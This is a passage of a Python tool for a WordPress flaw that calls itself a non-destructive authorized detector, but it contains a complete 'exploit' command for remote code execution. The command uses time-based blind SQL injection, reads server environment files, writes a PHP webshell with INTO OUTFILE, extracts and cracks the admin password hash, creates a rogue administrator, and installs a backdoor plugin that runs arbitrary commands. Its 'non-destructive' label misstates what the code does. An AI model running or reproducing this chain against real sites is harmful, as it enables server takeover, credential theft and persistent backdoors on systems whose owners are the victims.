    delayed_count = sum(1 for t in true_times if (t - false_median) >= min_diff)
    required_delayed = max(3, int(len(true_times) * 0.75))

    res.false_count = len(false_times)
    res.true_count = len(true_times)
    res.false_median = round(false_median, 3)
    res.true_median = round(true_median, 3)
    res.difference = round(diff, 3)

    if diff >= min_diff and delayed_count >= required_delayed:
        res.result = "vulnerable"
        res.vulnerable_signal = True
        res.patched_signal = False
        res.explanation = (
            f"True-condition requests show a repeatable delay (~{diff:.3f}s) "
            f"absent from false controls."
        )
    else:
        res.result = "not-observed"
        res.vulnerable_signal = False
        res.patched_signal = False
        res.explanation = (
            f"No consistent timing differential (median diff {diff:.3f}s, "
            f"delayed true samples {delayed_count}/{len(true_times)})."
        )
    return res


# ---------------------------------------------------------------------------
# Blind SQLi data extraction helpers (fast binary search)
# ---------------------------------------------------------------------------
def _bool_condition(sql: str, delay: int = 1) -> str:
    return f"SELECT IF(({sql}),SLEEP({delay}),0)"


def _test_bool(client: HttpClient, batch_url: str, condition: str,
               delay: int = 1, debug: bool = False) -> bool:
    sql = _bool_condition(condition, delay)
    probe = build_route_confusion_sqli_probe(sql)
    resp = client.request("POST", batch_url, json_body=probe,
                          headers={"X-WP2Shell-Exploit": "extract"}, retry=False)
    elapsed = resp.elapsed_ms / 1000.0
    result = elapsed >= (delay * 0.8)
    if debug:
        print(f"    [test] {condition[:50]:<50} -> {elapsed:.3f}s {'TRUE' if result else 'FALSE'}",
              file=sys.stderr)
    return result


def _extract_string(client: HttpClient, batch_url: str, query: str,
                    max_len: int = 64, delay: int = 1, debug: bool = False) -> str:
    result = ""
    for pos in range(1, max_len + 1):
        low, high = 0, 127
        while low < high:
            mid = (low + high + 1) // 2
            cond = f"ASCII(SUBSTRING(({query}),{pos},1)) >= {mid}"
            if _test_bool(client, batch_url, cond, delay=delay, debug=debug):
                low = mid
            else:
                high = mid - 1
        if low == 0:
            break
        result += chr(low)
        if debug:
            print(f"  [{pos:02d}] {result}", file=sys.stderr)
    return result


# ---------------------------------------------------------------------------
# Direct webshell write (using /proc/self/environ + INTO OUTFILE)
# ---------------------------------------------------------------------------
# ---------------------------------------------------------------------------
# Direct webshell write (using LOAD_FILE + INTO OUTFILE)
# ---------------------------------------------------------------------------
def _check_load_file(client, batch_url, path, delay=1, debug=False):
    """Quickly test if LOAD_FILE can read a file and is not null."""
    cond = f"SELECT LOAD_FILE('{path}') IS NOT NULL"
    return _test_bool(client, batch_url, cond, delay=delay, debug=debug)


def _extract_env_var(client, batch_url, var_name, delay=1, debug=False):
    """Extract an environment variable from /proc/self/environ using blind SQLi.
    Falls back to trying /proc/1/environ if the first one fails."""
    for environ_path in ["/proc/self/environ", "/proc/1/environ"]:
        if not _check_load_file(client, batch_url, environ_path, delay=delay, debug=debug):
            if debug:
                print(f"    LOAD_FILE('{environ_path}') returned NULL", file=sys.stderr)
            continue

        if debug:
            print(f"    Reading {environ_path} ...", file=sys.stderr)

        # Find the position of var_name=
        find_sql = f"SELECT LOCATE('{var_name}=', LOAD_FILE('{environ_path}'))"
        low, high = 0, 2000
        while low < high:
            mid = (low + high + 1) // 2
            cond = f"({find_sql}) >= {mid}"
            if _test_bool(client, batch_url, cond, delay=delay, debug=debug):
                low = mid
            else:
                high = mid - 1
        if low == 0:
            continue
        start_pos = low

        # Extract value character by character until null byte
        value = ""
        for i in range(256):
            char_pos = start_pos + len(var_name) + 1 + i
            cond = f"ORD(SUBSTRING(LOAD_FILE('{environ_path}'),{char_pos},1)) = 0"
            if _test_bool(client, batch_url, cond, delay=delay, debug=debug):
                break
            lo, hi = 32, 126
            while lo < hi:
                mid = (lo + hi + 1) // 2
                cond2 = f"ORD(SUBSTRING(LOAD_FILE('{environ_path}'),{char_pos},1)) >= {mid}"
                if _test_bool(client, batch_url, cond2, delay=delay, debug=debug):
                    lo = mid
                else:
                    hi = mid - 1
            if lo < 32:
                break
            value += chr(lo)
            if debug:
                print(f"    {var_name}[{i+1}] {value}", file=sys.stderr)
        return value
    return None


def _emit_exploit_output(output_path: Optional[str], content: str) -> None:
    if output_path:
        Path(output_path).write_text(content, encoding="utf-8")
    else:
        print(content)


def _direct_shell_write(client, base, batch_url, cmd, debug=False, output_path: Optional[str] = None):
    print("[*] Extracting DOCUMENT_ROOT from /proc/self/environ...")
    doc_root = _extract_env_var(client, batch_url, "DOCUMENT_ROOT", delay=1, debug=debug)
    if not doc_root:
        print("[-] Could not determine DOCUMENT_ROOT via LOAD_FILE. Trying alternative method...")
        # Alternative: try to read ABSPATH from wp-config.php if we can guess its location.
        # This is unreliable, so we'll just fail gracefully.
        print("[-] Direct write failed.")
        return False

    print(f"[+] DOCUMENT_ROOT = {doc_root}")
    shell_path = doc_root.rstrip('/') + "/wp-content/uploads/ws.php"
    php_code = "<?php if(isset($_GET['c'])){system($_GET['c']);}?>"
    payload = f"SELECT '{php_code}' INTO OUTFILE '{shell_path}'"
    probe = build_route_confusion_sqli_probe(payload)
    print(f"[*] Writing shell to {shell_path} ...")
    resp = client.request("POST", batch_url, json_body=probe,
                          headers={"X-WP2Shell-Exploit": "write-shell"}, retry=False)
    if resp.status != 207:
        print(f"[-] Shell write request failed (HTTP {resp.status}).")
        return False

    shell_url = urllib.parse.urljoin(base, "wp-content/uploads/ws.php")
    check_resp = client.request("GET", f"{shell_url}?c=id")
    if check_resp.status == 200 and "uid=" in check_resp.text():
        print("[+] Webshell active.")
        resp = client.request("GET", f"{shell_url}?c={urllib.parse.quote(cmd)}")
        if resp.status == 200:
            _emit_exploit_output(output_path, resp.text())
            return True
    print("[-] Webshell not accessible.")
    return False

# ---------------------------------------------------------------------------
# Authentication helpers (fallback)
# ---------------------------------------------------------------------------
def _login(client: HttpClient, base: str, username: str, password: str) -> Optional[str]:
    login_url = urllib.parse.urljoin(base, "wp-login.php")
    payload = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": urllib.parse.urljoin(base, "wp-admin/"),
        "testcookie": "1"
    }
    headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": login_url}
    data = urllib.parse.urlencode(payload).encode()
    resp = client.request("POST", login_url, data=data, headers=headers, retry=False)

    cookies = []
    for set_cookie in resp.headers.get("set-cookie", "").split(","):
        set_cookie = set_cookie.strip()
        if "=" in set_cookie:
            cookies.append(set_cookie.split(";")[0])
    cookie_str = "; ".join(cookies)
    if not cookie_str:
        return None
    test_resp = client.request("GET", urllib.parse.urljoin(base, "wp-admin/"),
                               headers={"Cookie": cookie_str})
    if "wp-admin-bar" in test_resp.text():
        return cookie_str
    return None


def _get_nonce(client: HttpClient, base: str, cookie: str) -> str:
    resp = client.request("GET", urllib.parse.urljoin(base, "wp-admin/admin-ajax.php?action=rest-nonce"),
                          headers={"Cookie": cookie})
    return resp.text().strip()


def _create_admin_user(client: HttpClient, base: str, cookie: str, username: str, password: str, email: str) -> bool:
    create_url = urllib.parse.urljoin(base, "wp-json/wp/v2/users")
    payload = {"username": username, "password": password, "email": email, "roles": ["administrator"]}
    resp = client.request("POST", create_url, json_body=payload,
                          headers={"Cookie": cookie, "X-WP-Nonce": _get_nonce(client, base, cookie)})
    return resp.status == 201


def _upload_plugin(client: HttpClient, base: str, cookie: str, zip_data: bytes) -> bool:
    plugin_install_url = urllib.parse.urljoin(base, "wp-admin/plugin-install.php?tab=upload")
    resp = client.request("GET", plugin_install_url, headers={"Cookie": cookie})
    match = re.search(r'"nonce":"([a-f0-9]+)"', resp.text())
    if not match:
        match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', resp.text())
    if not match:
        return False
    nonce = match.group(1)

    upload_url = urllib.parse.urljoin(base, "wp-admin/update.php?action=upload-plugin")
    boundary = "----WebKitFormBoundary" + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="_wpnonce"\r\n\r\n{nonce}\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="pluginzip"; filename="plugin.zip"\r\n'
        f"Content-Type: application/zip\r\n\r\n"
    ).encode() + zip_data + f"\r\n--{boundary}--\r\n".encode()
    headers = {"Content-Type": f"multipart/form-data; boundary={boundary}", "Cookie": cookie}
    resp = client.request("POST", upload_url, data=body, headers=headers)
    if resp.status == 200 and "plugin-install" in resp.text():
        activate_url = urllib.parse.urljoin(base, "wp-admin/plugins.php?action=activate&plugin=wp2shell-backdoor%2Fbackdoor.php")
        resp_act = client.request("GET", activate_url, headers={"Cookie": cookie})
        return "Plugin activated" in resp_act.text()
    return False


def _generate_backdoor_plugin_zip() -> bytes:
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w') as z:
        z.writestr('wp2shell-backdoor/backdoor.php',
                   '<?php\n/**\n * Plugin Name: WP2Shell Backdoor\n */\n'
                   'if(isset($_GET["cmd"])) { system($_GET["cmd"]); die(); }\n')
    return buf.getvalue()


# WordPress phpass check (for cracking)
def _phpass_check(password: str, stored_hash: str) -> bool:
    import hashlib
    if not stored_hash.startswith('$P$'):
        return False
    itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    count_log2 = itoa64.index(stored_hash[3])
    count = 1 << count_log2
    salt = stored_hash[4:12]
    hash_bytes = hashlib.md5((salt + password).encode('utf-8')).digest()
    for _ in range(count):
        hash_bytes = hashlib.md5(hash_bytes + password.encode('utf-8')).digest()
    output = stored_hash[:12] + ''.join(
        itoa64[c & 0x3f] + itoa64[(c >> 6) & 0x3f] + itoa64[(c >> 12) & 0x3f] + itoa64[(c >> 18) & 0x3f]
        for c in hash_bytes
    )[:34]
    return output == stored_hash


# ---------------------------------------------------------------------------
# Credential extraction & login fallback
# ---------------------------------------------------------------------------
def _extract_and_login(client, batch_url, base, args):
    admin_username = getattr(args, "username", "admin")
    if getattr(args, "password", None):
        print("[*] Using provided admin password.")
        plain_password = args.password
    else:
        print("[*] Extracting admin password hash...")
        exists_sql = f"SELECT COUNT(*) FROM wp_users WHERE user_login='{admin_username}'"
        if not _test_bool(client, batch_url, f"({exists_sql})>0"):
            print("[-] Admin user not found.", file=sys.stderr)
            return None, None, None
        hash_query = f"SELECT user_pass FROM wp_users WHERE user_login='{admin_username}' LIMIT 1"
        admin_hash = _extract_string(client, batch_url, hash_query, max_len=48, delay=1, debug=args.debug)
        if not admin_hash:
            print("[-] Failed to extract hash.", file=sys.stderr)
            return None, None, None
        print(f"[+] Admin hash: {admin_hash}")

        plain_password = None
        if args.wordlist:
            print("[*] Attempting to crack hash...")
            try:
                with open(args.wordlist, "r", encoding="latin-1") as f:
                    for line in f:
                        word = line.strip()
                        if _phpass_check(word, admin_hash):
                            plain_password = word
                            print(f"[+] Cracked password: {word}")
                            break
            except FileNotFoundError:
                print(f"[-] Wordlist {args.wordlist} not found.", file=sys.stderr)
                return None, None, None
        else:
            plain_password = input("Enter the admin password (or press Enter to abort): ").strip()
            if not plain_password:
                print("[-] No password provided.", file=sys.stderr)
                return None, None, None

    print("[*] Logging in...")
    cookie = _login(client, base, admin_username, plain_password)
    if not cookie:
        print("[-] Login failed.", file=sys.stderr)
        return None, None, None
    print("[+] Authenticated as admin.")
    return cookie, admin_username, plain_password


# ---------------------------------------------------------------------------
# Exploitation command
# ---------------------------------------------------------------------------
def exploit_target(args) -> int:
    if not args.authorized:
        print("Error: --authorized flag is required for exploitation.", file=sys.stderr)
        return 1
    try:
        base = normalize_target(args.target, args.default_scheme)
    except ValueError as e:
        print(f"Invalid target: {e}", file=sys.stderr)
        return 1

    config = ScanConfig(timeout=args.timeout, retries=args.retries, verify_tls=not args.insecure,
                        proxy=args.proxy, headers=parse_headers(args.header), rate_limit=args.rate,
                        fingerprint_level="quick", active_probe=False, rest_endpoint="both",
                        include_request_log=False, default_scheme=args.default_scheme)
    limiter = RateLimiter(config.rate_limit)
    client = HttpClient(config, limiter)

    print("[*] Testing route confusion...")
    probe_resp = client.request("POST", endpoint_url(base, "rest-query-batch"),
                                json_body=SAFE_ROUTE_CONFUSION_PROBE, headers={"X-WP2Shell-Exploit": "check"})
    probe = analyze_active_probe(probe_resp)
    if not probe.vulnerable_signal:
        probe_resp = client.request("POST", endpoint_url(base, "rest-pretty-batch"),
                                    json_body=SAFE_ROUTE_CONFUSION_PROBE, headers={"X-WP2Shell-Exploit": "check"})
        probe = analyze_active_probe(probe_resp)
    if not probe.vulnerable_signal:
        print("[-] Route confusion not detected.", file=sys.stderr)
        return 2
    print("[+] Route confusion confirmed.")

    batch_kind = "rest-query-batch"
    if probe.endpoint and "rest-query" not in probe.endpoint:
        test_resp = client.request("POST", endpoint_url(base, "rest-pretty-batch"),
                                   json_body=SAFE_ROUTE_CONFUSION_PROBE, headers={"X-WP2Shell-Exploit": "check"})
        if analyze_active_probe(test_resp).vulnerable_signal:
            batch_kind = "rest-pretty-batch"
    batch_url = endpoint_url(base, batch_kind)
    print(f"[*] Using batch endpoint: {batch_url}")

    # Timing‑based SQLi detection
    print("[*] Running timing‑based SQL injection test...")
    false_times, true_times, debug_msgs = _perform_timing_test(
        client, batch_url, delay_seconds=2, num_samples=4, warmups=2, debug=args.debug
    )
    for msg in debug_msgs:
        print(msg, file=sys.stderr)
    sql_result = _classify_timing_result(false_times, true_times, delay_seconds=2.0)
    print(f"[*] SQLi result: {sql_result.result}")
    if not sql_result.vulnerable_signal:
        print("[-] SQL injection not confirmed. Cannot proceed.", file=sys.stderr)
        return 2

    # ----------------------------------------------------------------
    # Strategy A: direct webshell via /proc/self/environ + INTO OUTFILE
    # ----------------------------------------------------------------
    print("[*] Attempting direct webshell write (FILE privilege required)...")
    if _direct_shell_write(client, base, batch_url, args.cmd, debug=args.debug, output_path=args.output):
        print("[!] Webshell remains at wp-content/uploads/ws.php. Remove after testing.")
        return 0

    # ----------------------------------------------------------------
    # Strategy B: credential extraction + login + plugin upload
    # ----------------------------------------------------------------
    print("[*] Direct write failed. Falling back to credential extraction...")
    cookie, admin_username, plain_password = _extract_and_login(client, batch_url, base, args)
    if cookie is None:
        print("[-] Could not obtain admin session.", file=sys.stderr)
        return 2

    new_admin = "wp2shell_admin"
    new_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    print(f"[*] Creating new admin user: {new_admin}")
    if _create_admin_user(client, base, cookie, new_admin, new_pass, f"{new_admin}@example.com"):
        print(f"[+] Created {new_admin} / {new_pass}")
        cookie = _login(client, base, new_admin, new_pass)
        if not cookie:
            print("[-] Could not log in as new admin.", file=sys.stderr)
            return 2
    else:
        print("[!] Could not create new admin. Continuing with original session.")

    print("[*] Uploading backdoor plugin...")
    plugin_zip = _generate_backdoor_plugin_zip()
    if not _upload_plugin(client, base, cookie, plugin_zip):
        print("[-] Plugin upload failed.", file=sys.stderr)
        return 2
    print("[+] Backdoor plugin installed and activated.")

    backdoor_url = urllib.parse.urljoin(base, "wp-content/plugins/wp2shell-backdoor/backdoor.php")
    cmd = args.cmd
    exec_url = f"{backdoor_url}?cmd={urllib.parse.quote(cmd)}"
    print(f"[*] Executing: {cmd}")
    resp = client.request("GET", exec_url)
    if resp.status == 200:
        _emit_exploit_output(args.output, resp.text())
    else:
        print(f"[-] Command execution failed (HTTP {resp.status}).", file=sys.stderr)
        return 3

    print("\n[!] Clean up the backdoor plugin and the new admin user after testing.")
    return 0


# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(prog="wp2shell_detector.py",
                                     description="Non-destructive authorized detector for WordPress CVE (WP2Shell) and the related CVE-2026-60137 affected version range.")
    parser.add_argument("--version", action="version", version=f"%(prog)s {TOOL_VERSION}")
    subparsers = parser.add_subparsers(dest="command", required=True)

    remote = subparsers.add_parser("remote", help="Scan one or more authorized HTTP(S) WordPress targets.")
    remote.add_argument("-u", "--target", action="append", default=[], help="Target WordPress root URL; repeatable.")
    remote.add_argument("-l", "--targets-file", action="append", default=[], help="File containing one target per line; repeatable.")
    remote.add_argument("--stdin", action="store_true", help="Read additional targets from standard input.")
    remote.add_argument("--authorized", action="store_true", help="Required acknowledgement that every target is authorized for this validation.")
    remote.add_argument("--default-scheme", choices=["https", "http"], default="https")
    remote.add_argument("-c", "--concurrency", type=int, default=DEFAULT_CONCURRENCY)
    remote.add_argument("--rate", type=float, default=DEFAULT_RATE)
    remote.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT)
    remote.add_argument("--retries", type=int, default=1)
    remote.add_argument("--max-targets", type=int, default=1000)
    remote.add_argument("--max-body-bytes", type=int, default=DEFAULT_MAX_BODY)
    remote.add_argument("-k", "--insecure", action="store_true")
    remote.add_argument("--no-redirects", action="store_true")
    remote.add_argument("--allow-cross-host-redirects", action="store_true")
    remote.add_argument("--proxy")
    remote.add_argument("-H", "--header", action="append", default=[])
    remote.add_argument("--user-agent", default=DEFAULT_USER_AGENT)
    remote.add_argument("--fingerprint-level", choices=["quick", "standard", "extended"], default="standard")
    remote.add_argument("--active-probe", action="store_true")
    remote.add_argument("--rest-endpoint", choices=["query", "pretty", "both"], default="both")
    remote.add_argument("--include-request-log", action="store_true")
    remote.add_argument("-f", "--format", choices=["table", "json", "jsonl", "csv"], default="table")
    remote.add_argument("-o", "--output")
    remote.add_argument("--fail-on", choices=["never", "vulnerable", "unknown"], default="vulnerable")

    local = subparsers.add_parser("local", help="Read the exact version from a local WordPress source tree.")
    local.add_argument("--wordpress-root", required=True)
    local.add_argument("-f", "--format", choices=["table", "json", "jsonl", "csv"], default="table")
    local.add_argument("-o", "--output")
    local.add_argument("--fail-on", choices=["never", "vulnerable", "unknown"], default="vulnerable")

    exploit_parser = subparsers.add_parser("exploit", help="Full chain exploitation: achieve pre‑auth RCE.")
    exploit_parser.add_argument("-u", "--target", required=True)
    exploit_parser.add_argument("--cmd", required=True, help="Command to execute on the target (e.g., whoami)")
    exploit_parser.add_argument("--authorized", action="store_true", required=True)
    exploit_parser.add_argument("--default-scheme", choices=["https", "http"], default="https")
    exploit_parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT)
    exploit_parser.add_argument("--retries", type=int, default=1)
    exploit_parser.add_argument("-k", "--insecure", action="store_true")
    exploit_parser.add_argument("--proxy")
    exploit_parser.add_argument("--rate", type=float, default=DEFAULT_RATE)
    exploit_parser.add_argument("--header", action="append", default=[])
    exploit_parser.add_argument("--debug", action="store_true", help="Print verbose timing debug output.")
    exploit_parser.add_argument("--password", help="Admin password (skip extraction and cracking)")
    exploit_parser.add_argument("--username", default="admin", help="WordPress admin username (default: admin)")
    exploit_parser.add_argument("--wordlist", help="Path to password wordlist for cracking")
    exploit_parser.add_argument("-o", "--output", help="Write command output to file.")

    return parser


def exit_code_for(rows: Sequence[Mapping[str, Any]], policy: str) -> int:
    if policy == "never":
        return 0
    vulnerable_verdicts = {"CONFIRMED_VULNERABLE_BEHAVIOR", "CONFIRMED_AFFECTED_VERSION", "LIKELY_VULNERABLE", "VULNERABLE_SQLI_ONLY", "AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED"}
    if any(str(row.get("verdict")) in vulnerable_verdicts for row in rows):
        return 2
    if policy == "unknown":
        unknown_verdicts = {"UNKNOWN", "UNKNOWN_PRERELEASE", "POTENTIALLY_EXPOSED_VERSION_UNKNOWN", "WORDPRESS_VERSION_UNKNOWN", "ERROR"}
        if any(str(row.get("verdict")) in unknown_verdicts for row in rows):
            return 3
    return 0


def read_targets(direct: Sequence[str], files: Sequence[str], read_stdin: bool, max_targets: int) -> List[str]:
    targets = list(direct)
    for filename in files:
        try:
            lines = Path(filename).read_text(encoding="utf-8-sig").splitlines()
        except OSError as exc:
            raise ValueError(f"cannot read targets file {filename!r}: {exc}") from exc
        for line in lines:
            stripped = line.strip()
            if not stripped or stripped.startswith("#"):
                continue
            targets.append(stripped.split()[0])
    if read_stdin:
        for line in sys.stdin:
            stripped = line.strip()
            if not stripped or stripped.startswith("#"):
                continue
            targets.append(stripped.split()[0])
    deduped = []
    seen = set()
    for target in targets:
        if target not in seen:
            deduped.append(target)
            seen.add(target)
    if not deduped:
        raise ValueError("no targets supplied")
    if max_targets <= 0 or max_targets > MAX_TARGETS_HARD:
        raise ValueError(f"--max-targets must be between 1 and {MAX_TARGETS_HARD}")
    if len(deduped) > max_targets:
        raise ValueError(f"target count {len(deduped)} exceeds --max-targets {max_targets}")
    return deduped


def parse_local_version(root: Path) -> Tuple[Optional[WPVersion], Path, List[str]]:
    errors: List[str] = []
    version_file = root / "wp-includes" / "version.php"
    if not version_file.is_file():
        return None, version_file, [f"not found: {version_file}"]
    try:
        content = version_file.read_text(encoding="utf-8", errors="replace")
    except OSError as exc:
        return None, version_file, [f"cannot read {version_file}: {exc}"]
    match = re.search(r"\$wp_version\s*=\s*['\"]([^'\"]+)['\"]\s*;", content, re.I)
    if not match:
        errors.append("$wp_version assignment was not found")
        return None, version_file, errors
    version = parse_wp_version(match.group(1))
    if version is None:
        errors.append(f"could not parse version value {match.group(1)!r}")
    return version, version_file, errors


def scan_local(root_text: str) -> LocalResult:
    root = Path(root_text).expanduser().resolve()
    result = LocalResult(wordpress_root=str(root))
    version, version_file, errors = parse_local_version(root)
    result.version_file = str(version_file)
    result.errors.extend(errors)
    if version is None:
        result.verdict = "ERROR"
        result.severity = "info"
        result.summary = "An exact WordPress source version could not be read."
        result.remediation = "Point --wordpress-root at the directory containing wp-includes/version.php."
        return result
    result.selected_version = str(version)
    assessment, verdict, severity, summary = assess_version(version)
    result.version_assessment = assessment
    result.verdict = verdict
    result.severity = severity
    result.summary = summary
    if verdict == "LIKELY_VULNERABLE":
        result.verdict = "CONFIRMED_AFFECTED_VERSION"
        result.remediation = _safe_remediation()
    elif verdict == "VULNERABLE_SQLI_ONLY":
        result.remediation = "Update WordPress 6.8.x to 6.8.6 or a later supported release."
    else:
        result.remediation = "Keep WordPress core on the latest supported security release and verify core checksums."
    return result


def severity_rank(value: str) -> int:
    return {"critical": 4, "high": 3, "medium": 2, "low": 1, "info": 0}.get(value, 0)


def format_table(rows: Sequence[Mapping[str, Any]]) -> str:
    headers = ["SEVERITY", "VERDICT", "VERSION", "BATCH", "ACTIVE", "TARGET"]
    data: List[List[str]] = []
    for row in rows:
        active = row.get("active_probe", {}) if isinstance(row.get("active_probe"), dict) else {}
        data.append([
            str(row.get("severity", "")),
            str(row.get("verdict", "")),
            str(row.get("selected_version") or "-"),
            ("yes" if row.get("batch_route_exposed") is True else "no" if row.get("batch_route_exposed") is False else "?"),
            str(active.get("result", "-")),
            str(row.get("target") or row.get("wordpress_root") or ""),
        ])
    widths = [len(h) for h in headers]
    for row in data:
        for idx, cell in enumerate(row):
            widths[idx] = min(max(widths[idx], len(cell)), 46 if idx in {1, 5} else 28)

    def render(row: Sequence[str]) -> str:
        cells = []
        for idx, cell in enumerate(row):
            shown = cell
            if len(shown) > widths[idx]:
                shown = shown[: max(1, widths[idx] - 1)] + "…"
            cells.append(shown.ljust(widths[idx]))
        return "  ".join(cells)

    lines = [render(headers), render(["-" * w for w in widths])]
    lines.extend(render(row) for row in data)
    return "\n".join(lines)


def output_results(rows: Sequence[Mapping[str, Any]], output_format: str, output_path: Optional[str]) -> None:
    if output_format == "json":
        text = json.dumps(list(rows), indent=2, sort_keys=True) + "\n"
    elif output_format == "jsonl":
        text = "".join(json.dumps(row, sort_keys=True) + "\n" for row in rows)
    elif output_format == "csv":
        buffer = io.StringIO()
        fieldnames = [
            "target", "normalized_target", "wordpress_detected", "selected_version", "version_confidence",
            "version_assessment", "batch_route_exposed", "active_probe_result", "verdict", "severity",
            "summary", "remediation", "errors", "scanned_at"
        ]
        writer = csv.DictWriter(buffer, fieldnames=fieldnames)
        writer.writeheader()
        for row in rows:
            active = row.get("active_probe", {}) if isinstance(row.get("active_probe"), dict) else {}
            writer.writerow({
                "target": row.get("target") or row.get("wordpress_root"),
                "normalized_target": row.get("normalized_target"),
                "wordpress_detected": row.get("wordpress_detected"),
                "selected_version": row.get("selected_version"),
                "version_confidence": row.get("version_confidence"),
                "version_assessment": row.get("version_assessment"),
                "batch_route_exposed": row.get("batch_route_exposed"),
                "active_probe_result": active.get("result"),
                "verdict": row.get("verdict"),
                "severity": row.get("severity"),
                "summary": row.get("summary"),
                "remediation": row.get("remediation"),
                "errors": " | ".join(row.get("errors", [])),
                "scanned_at": row.get("scanned_at"),
            })
        text = buffer.getvalue()
    else:
        text = format_table(rows) + "\n"
    if output_path:
        Path(output_path).write_text(text, encoding="utf-8")
    else:
        sys.stdout.write(text)


def scan_target(raw_target: str, config: ScanConfig, limiter: RateLimiter) -> ScanResult:
    """Full remote scan (unchanged)."""
    result = ScanResult(target=raw_target)
    try:
        base = normalize_target(raw_target, config.default_scheme)
    except ValueError as exc:
        result.errors.append(str(exc))
        finalize_scan_result(result)
        return result
    result.normalized_target = base
    client = HttpClient(config, limiter)
    responses: List[Tuple[str, HttpResult]] = []

    home = client.request("GET", endpoint_url(base, "home"))
    _record_request(result, home, config.include_request_log)
    responses.append(("home", home))
    result.final_target = home.final_url
    if home.error and home.status is None:
        result.errors.append(f"home: {home.error}")

    rest_query = client.request("GET", endpoint_url(base, "rest-query-index"))
    _record_request(result, rest_query, config.include_request_log)
    responses.append(("rest-index", rest_query))
    batch_exposed, rest_valid = parse_rest_index(rest_query)

    if not rest_valid:
        rest_pretty = client.request("GET", endpoint_url(base, "rest-pretty-index"))
        _record_request(result, rest_pretty, config.include_request_log)
        responses.append(("rest-index", rest_pretty))
        pretty_batch, pretty_valid = parse_rest_index(rest_pretty)
        if pretty_valid:
            batch_exposed = pretty_batch
            rest_valid = True
        elif rest_pretty.error and rest_pretty.status is None:
            result.errors.append(f"REST index: {rest_pretty.error}")
    result.batch_route_exposed = batch_exposed

    if config.fingerprint_level in {"standard", "extended"}:
        feed = client.request("GET", endpoint_url(base, "feed"))
        _record_request(result, feed, config.include_request_log)
        responses.append(("feed", feed))
    if config.fingerprint_level == "extended":
        readme = client.request("GET", endpoint_url(base, "readme"))
        _record_request(result, readme, config.include_request_log)
        responses.append(("readme", readme))

    wp_confidence = 0.0
    evidence: List[VersionEvidence] = []
    for source_hint, response in responses:
        confidence, _signals = wordpress_signals(response)
        wp_confidence = max(wp_confidence, confidence)
        evidence.extend(extract_version_evidence(response, source_hint))

    result.wordpress_confidence = wp_confidence
    result.wordpress_detected = wp_confidence >= 0.50 or rest_valid
    result.version_evidence = evidence
    selected, selected_confidence, conflict = select_version(evidence)
    result.selected_version = str(selected) if selected else None
    result.version_confidence = selected_confidence
    result.version_conflict = conflict

    if config.active_probe and result.wordpress_detected:
        endpoint_kinds = (["rest-query-batch"] if config.rest_endpoint == "query" else
                          ["rest-pretty-batch"] if config.rest_endpoint == "pretty" else
                          ["rest-query-batch", "rest-pretty-batch"])
        best_probe: Optional[ActiveProbeResult] = None
        for kind in endpoint_kinds:
            probe_response = client.request("POST", endpoint_url(base, kind),
                                            json_body=SAFE_ROUTE_CONFUSION_PROBE,
                                            headers={"X-WP2Shell-Detector": "safe-read-only"}, retry=False)
            _record_request(result, probe_response, config.include_request_log)
            probe = analyze_active_probe(probe_response)
            if best_probe is None:
                best_probe = probe
            if probe.vulnerable_signal or probe.patched_signal:
                best_probe = probe
                break
            if probe.result not in {"blocked-or-unavailable", "transport-error"}:
                best_probe = probe
        result.active_probe = best_probe or ActiveProbeResult(attempted=True, result="indeterminate")

    finalize_scan_result(result)
    return result


def run_remote(args: argparse.Namespace, parser: argparse.ArgumentParser) -> int:
    authorized = args.authorized or os.environ.get("WP2SHELL_AUTHORIZED") == "1"
    if not authorized:
        parser.error(
            "remote scanning requires --authorized (or WP2SHELL_AUTHORIZED=1) to acknowledge target authorization"
        )
    if not 1 <= args.concurrency <= MAX_CONCURRENCY:
        parser.error(f"--concurrency must be between 1 and {MAX_CONCURRENCY}")
    if args.rate < 0:
        parser.error("--rate cannot be negative")
    if args.timeout <= 0:
        parser.error("--timeout must be greater than zero")
    if not 0 <= args.retries <= 5:
        parser.error("--retries must be between 0 and 5")
    if not 1024 <= args.max_body_bytes <= 16 * 1024 * 1024:
        parser.error("--max-body-bytes must be between 1024 and 16777216")
    try:
        headers = parse_headers(args.header)
        targets = read_targets(
            args.target,
            args.targets_file,
            args.stdin,
            args.max_targets,
        )
    except ValueError as exc:
        parser.error(str(exc))

    config = ScanConfig(
        timeout=args.timeout,
        retries=args.retries,
        max_body_bytes=args.max_body_bytes,
        verify_tls=not args.insecure,
        follow_redirects=not args.no_redirects,
        allow_cross_host_redirects=args.allow_cross_host_redirects,
        proxy=args.proxy,
        headers=headers,
        user_agent=args.user_agent,
        rate_limit=args.rate,
        fingerprint_level=args.fingerprint_level,
        active_probe=args.active_probe,
        rest_endpoint=args.rest_endpoint,
        include_request_log=args.include_request_log,
        default_scheme=args.default_scheme,
    )
    limiter = RateLimiter(config.rate_limit)

    results: list[ScanResult] = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.concurrency) as executor:
        future_map = {
            executor.submit(scan_target, target, config, limiter): target
            for target in targets
        }
        for future in concurrent.futures.as_completed(future_map):
            target = future_map[future]
            try:
                results.append(future.result())
            except Exception as exc:  # keep a bulk run alive on one internal failure
                failed = ScanResult(target=target)
                failed.errors.append(f"internal scanner error: {type(exc).__name__}: {exc}")
                finalize_scan_result(failed)
                results.append(failed)

    results.sort(key=lambda item: (-severity_rank(item.severity), item.target))
    rows = [item.as_dict() for item in results]
    output_results(rows, args.format, args.output)
    return exit_code_for(rows, args.fail_on)


def run_local(args: argparse.Namespace) -> int:
    result = scan_local(args.wordpress_root)
    rows = [result.as_dict()]
    output_results(rows, args.format, args.output)
    return exit_code_for(rows, args.fail_on)


def main(argv: Sequence[str] | None = None) -> int:
    parser = build_parser()
